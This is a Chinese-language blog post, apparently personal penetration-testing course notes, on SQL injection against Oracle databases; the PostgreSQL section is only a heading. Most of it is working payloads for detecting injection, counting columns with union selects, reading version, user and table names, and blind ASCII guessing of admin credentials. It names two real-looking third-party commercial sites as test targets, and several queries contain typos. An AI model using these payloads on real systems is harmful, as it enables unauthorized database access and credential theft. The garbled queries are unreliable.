满天星
Fork me on GitHub

渗透测试学习笔记14-oracleANDpostgreasql数据库注入

Oracle&postgresql(国外用的多)
稳定,安全,可靠,,,但是贵
航空,物流,旅游,银行,大学,淘宝...

Oracle注入详解:

Oracle数据库系统是美国甲骨文提供的以分布式数据库为核心的一组软件产品,是目前世界上使用最为广泛的数据库管理系统.基于"客户端/服务器"模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动.
特点:
1.支持多用户,大事务量的处理
2.数据安全性和完整性的有效控制
3.支持分布式数据处理
4.移植性强.
判断数据库:
判断注入:
and 1=1
and 1=2
判断oracle数据库
and exists(select * from dual)
and exists(select * from user_tables)


测试站点:
http://www.e-hifarms.com/yellowpage/detail.jsp?id=111
http://www.hbhsteel.com/index/news/news_list_xq.jsp?info_no=2183513


Oracle经常搭(Tomcat)web服务器


判断列数:
order by 11 返回正常
order by 12 返回错误


1.跟access差不多,联合查询
2.用户名和密码逐个ascii码猜解


order by 20 不报错,就说明有20以上的列
order by 30 报错,就说明小于30列

union select null,null,null...,null from dual 数字全部用null代替

union select 1,null,null...,null from dual 数字全部用null

union select 1,1,null...,null from dual 数字全部用null  如果输入1,报错不出来,就说明有注入

union select 'null',null,null...,null from dual 数字全部用null  如果用'',引起来之后不出现,则说明该列不是字符串列


获取基本信息:
获取数据库版本
(select banner from sys.v_$version where rownum=1)
获取操作系统版本
(select memeber from v$logfile whree rownum=1)
获取连接数据库的当前用户
(select SYS_CONTEXT('USERNV','CURRENT_USER')from dual)
获取数据库
(select owner from all_tables where rownum=1)


放在非数字类型列上


http://192.168.1.210:8080/Sqlinject/SqlTest.jsp?id=100 union select null,(select table_name from user_tables where rownum=1),null,....,null from dual


http://192.168.1.210:8080/Sqlinject/SqlTest.jsp?id=100 union select null,(select table_name from user_tables where rownum=1 and table_name<>'第一张表名'),null,....,null from dual


获取第一个列名
http://192.168.1.210:8080/Sqlinject/SqlTest.jsp?id=100 union select null,(select table_name from user_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,....,null from dual


第二列 <>


获取数据库
union select 1,2,name,4,5,6 from admin
union select 1,2,pass,4,5,6 from admin


第二种注入方式
判断一下数据库中的表,网址后加上:and (select count(*) from admin)<>0返回正常,说明存在admin表.如果返回错误,可将admin改为username,manager等常用表名继续猜解.


指定表名获取列名
and (select count(name) from admin)>=0返回正常,说明存在name字段


采用ASCII码折半法猜解管理员账号和密码
判断管理员名字长度
and (select count(*) from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度,此处猜解用户名的长度和5比较,即猜测是否由5个字符组成.

and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1


and (select count(*) from pwd where ascii(substr(name,1,1))>=97)=1



postgresql注入详解:
//14课,41:20
-------------本文结束期待您的评论-------------